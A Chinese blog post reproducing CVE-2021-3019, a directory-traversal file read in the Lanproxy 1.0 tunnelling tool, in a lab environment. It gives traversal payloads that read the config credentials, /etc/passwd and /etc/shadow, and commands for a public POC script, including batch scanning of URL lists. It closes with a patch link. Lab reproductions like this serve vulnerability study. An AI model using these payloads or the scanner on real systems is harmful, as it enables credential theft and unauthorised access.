CVE-2021-3019—Lanproxy 任意文件读取漏洞复现

1.简介

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面...)。目前市面上提供类似服务的有花生壳、TeamView、GoToMyCloud等等,但要使用第三方的公网服务器就必须为第三方付费,并且这些服务都有各种各样的限制,此外,由于数据包会流经第三方,因此对数据安全也是一大隐患。

2.漏洞概述

Lanproxy1.0通过../绕过读取任意文件。该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。

3.影响版本

Lanproxy1.0

4.环境搭建

1).下载Lanproxy安装包,下载地址:

https://file.nioee.com/d/2e81550ebdbd416c933f/

2).解压后移动到/usr/local目录下

mv proxy-server-0.1/ /usr/local/

3).进入proxy-server-0.1 bin目录下给startup.sh加上执行权限,然后启动服务

cd proxy-server-0.1/bin

chmod +x startup.sh

./startup.sh

4).在浏览器访问http://192.168.238.131:8090,出现以下登录界面启动成功

5.漏洞复现

0.关于burp的配置:

(1)首先要对浏览器进行网络配置,这里使用的是kali中的firefox:

 

(2)对burp进行监听配置(与1中的网络ip和端口一致):

1).在登录页面,使用Burp抓包,并发送到Repeater(重放模块)

2).在url构造以下链接读取配置文件

/../conf/config.properties

3).修改payload读取敏感文件

/../../../../etc/passwd

6.POC脚本:

1).这里是在网上找的脚本,使用的python语言,参考链接https://github.com/FanqXu/CVE-2021-3019

2).下载POC.py到主机kali中,默认不带参数运行显示帮助信息:

 

3).单个URL

对单个URL进行漏洞检测,如果存在漏洞则默认读取配置文件并输出(这里的网址就是登陆proxy的网址)

python3 POC.py -u http://127.0.0.1:8090

 

4).读取其他文件

使用-r参数读取系统其他文件,需要知道文件的绝对路径

python3 POC.py -u http://127.0.0.1:8090 -r /etc/shadow

  

 

5).批量扫描

使用-f参数批量检测,有漏洞的将被写入success.txt文件

python3 POC.py -f ../../urls.txt

 

7.修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/ffay/lanproxy/commits/master

posted @ 2021-05-03 17:33  20181326jie  阅读(479)  评论(0编辑  收藏  举报